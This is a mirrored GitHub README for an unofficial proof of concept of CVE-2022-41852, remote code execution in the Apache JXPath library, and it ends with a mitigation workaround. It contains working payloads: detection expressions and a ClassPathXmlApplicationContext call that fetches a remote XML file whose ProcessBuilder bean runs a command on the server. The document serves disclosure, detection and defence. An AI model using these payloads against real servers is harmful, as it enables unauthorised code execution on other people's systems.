Coder Social home page Coder Social logo

xtenex / cve-2022-41852_jxpath Goto Github PK

View Code? Open in Web Editor NEW

This project forked from warxim/cve-2022-41852

0.0 1.0 0.0 8 KB

CVE-2022-41852 Proof of Concept (unofficial)

Home Page: https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Java 100.00%

cve-2022-41852_jxpath's Introduction

Remote Code Execution in JXPath Library (CVE-2022-41852) Proof of Concept

CVE-2022-41852 allows attackers to execute code on the application server.

You can read more about this vulnerability here:

Note: I am not an author of this CVE. I have only created this proof of concept.

Useful Links

Vulnerability Description

JXPath library has support for running functions in XPath expressions (see Official User Guide).

For example, methods JXPathContext.getValue(path) and JXPathContext.iterate(path) are dangerous if you let user send input into the path parameter.

PoC Description

This PoC starts simple Spring server with two endpoints:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

These endpoints have only one query parameter "path".

Possible Request URLs

Following requests will work fine (will not cause any problems):

Following requests will cause code to be executed:

Example Payloads

Example payloads to detect CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

There might be various ways to execute commands. One of them is using Spring's ClassPathXmlApplicationContext:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

In the XML file, you can define bean configuration, for example, you can create instance of ProcessBuilder and run specified command on the server by initializing the bean using start() method. In the following example, calculator will be opened on Windows machine:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Workaround for CVE-2022-41852

It is possible to disable functions in JXPathContext by setting functions field to empty FunctionLibrary.

// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Note: It will disable all functions, so even functions like size() will not be available.

cve-2022-41852_jxpath's People

Contributors

warxim avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.